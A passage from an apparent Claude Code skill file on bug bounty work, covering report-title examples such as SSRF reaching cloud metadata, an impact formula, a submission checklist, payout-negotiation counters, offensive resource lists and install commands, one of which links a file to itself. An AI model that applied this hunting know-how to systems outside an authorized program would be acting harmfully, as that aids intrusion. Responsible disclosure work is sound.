Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times

Bad titles:

IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API

Impact Statement Formula (First Paragraph)

An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].

The 60-Second Pre-Submit Checklist

[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)

Severity Escalation Language

When payout is being downgraded, use these counters:

Program Says	You Counter With
"Requires authentication"	"Attacker needs only a free account (no special role)"
"Limited impact"	"Affects [N] users / [PII type] / [$ amount]"
"Already known"	"Show me the report number -- I searched and found none"
"By design"	"Show me the documentation that states this is intended"
"Low CVSS score"	"CVSS doesn't account for business impact -- attacker can steal [X]"

---

RESOURCES

Bug Bounty Platforms

• HackerOne Hacktivity -- Disclosed reports
• Bugcrowd Crowdstream -- Public findings
• Intigriti Leaderboard

Learning

• PortSwigger Web Academy -- Free vuln labs (best)
• HackTricks -- Attack technique reference
• PayloadsAllTheThings -- Payload reference
• Solodit -- 50K+ searchable audit findings (Web3)
• ProjectDiscovery Chaos -- Free subdomain datasets

Wordlists

• SecLists -- Comprehensive wordlists
• HowToHunt -- Step-by-step vuln hunting
• DefaultCreds -- Default credentials

Payload Databases

• XSSHunter -- Blind XSS detection
• interactsh -- OOB callback server

---

INSTALLATION (Claude Code Skill)

To use this as a Claude Code skill, copy this file to your skills directory:

# Option A: Clone the repo and link the skill
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md

# Option B: Direct copy
mkdir -p ~/.claude/skills/bug-bounty
curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md \
  -o ~/.claude/skills/bug-bounty/SKILL.md

Then in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.